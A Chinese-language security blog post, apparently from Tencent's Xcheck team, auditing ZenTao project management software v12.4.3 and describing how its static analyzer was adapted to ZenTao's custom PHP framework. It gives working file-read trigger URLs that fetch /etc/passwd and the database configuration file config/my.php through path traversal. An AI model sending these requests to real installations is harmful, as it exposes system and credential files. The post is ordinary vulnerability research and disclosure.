ZenTaoPMS(ZenTao Project Management System),中文名为禅道项目管理软件。
禅道项目管理软件基于自主研发的PHP开发框架——禅道PHP框架开发而成。
禅道有四个版本,分别是开源版,专业版,企业版和集团版。
本文审计对象为禅道开源版,版本为v12.4.3。
项目根目录如下图:
其中framework目录包括具体路由分发的实现,这里细节不再展开,可参考《禅道pms-路由及漏洞分析》这篇,链接在文后。
至于module目录,则是禅道应用程序具体功能的实现,包含60多个模块。
以其中一个模块为例,主要看control.php,model.php这两个文件。
control.php中的函数可被用户请求直接访问到,下图为admin/control.php中的register函数,则访问请求为index.php?m=admin&f=register&from=1
,请求中的from的值赋值给$from
。
即m为对应module,f为对应方法,方法的参数也与请求中的参数一一对应。
漏洞入口位于file模块control.php中的sendDownHeader函数,
其中,$this->file
即当前模块目录中model.php中类对象的实例,这里为fileModel。
漏洞代码位于922行,文件读取$content
并输出,进入这个逻辑需要$file
变量为字符串值file.
所以漏洞触发为index.php?m=file&f=sendDownHeader&fileName=2&fileType=1&content=/etc/passwd&type=file
若存在open_basedir限制,可读取数据库配置文件:index.php?m=file&f=sendDownHeader&fileName=2&fileType=1&content=./../../config/my.php&type=file
。
触发链接:index.php?m=im&f=downloadXxdPackage&xxdFileName=../../../../../../../../../etc/passwd
禅道使用的框架是自研的一套禅道PHP框架,具有一定的复杂性,不在xcheck默认支持框架范围内。
对于框架的适配,xcheck这边均采用人工经验赋能检查器的思路进行相关规则的添加。从人工审计出发,将污点分析理论的关键点传递给检查器,使检查器能够理解新框架中的代码。
以本文的禅道为例,经过前面对路由请求的分析,可得以下人工审计经验:
$this->file
即同模块当中的model.php中的fileModel对象,client模块中$this->client
为同模块中model.php 中的clientModel对象,其他模块也类似$this->loadModel("file")
则调用的为file模块中model.php的fileModel对象通过将以上经验赋能给检查器,做一个禅道框架的简单适配,就可轻松检查发现项目中的安全漏洞。若由人工审计来做,对60多个子模块逐个审计,工作量可想而知。
对禅道的代码检查发现问题数较多,对于其中部分与业务密切相关导致利用失败的或者存在一定利用条件的,本文不再赘述。
由于是简单适配,相关分析和提及安全问题仅供参考,有兴趣的小伙伴可发送消息后台一起讨论交流。
《禅道pms-路由及漏洞分析》https://www.anquanke.com/post/id/160473
《【组件攻击链】禅道项目管理系统(ZenTaoPMS)高危漏洞分析与利用》https://mp.weixin.qq.com/s/LIugWEiETPwYmmLwZLe7Ag
专注于代码安全 | 公众号:腾讯代码安全检查Xcheck
本文作者:Xcheck
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/162217.html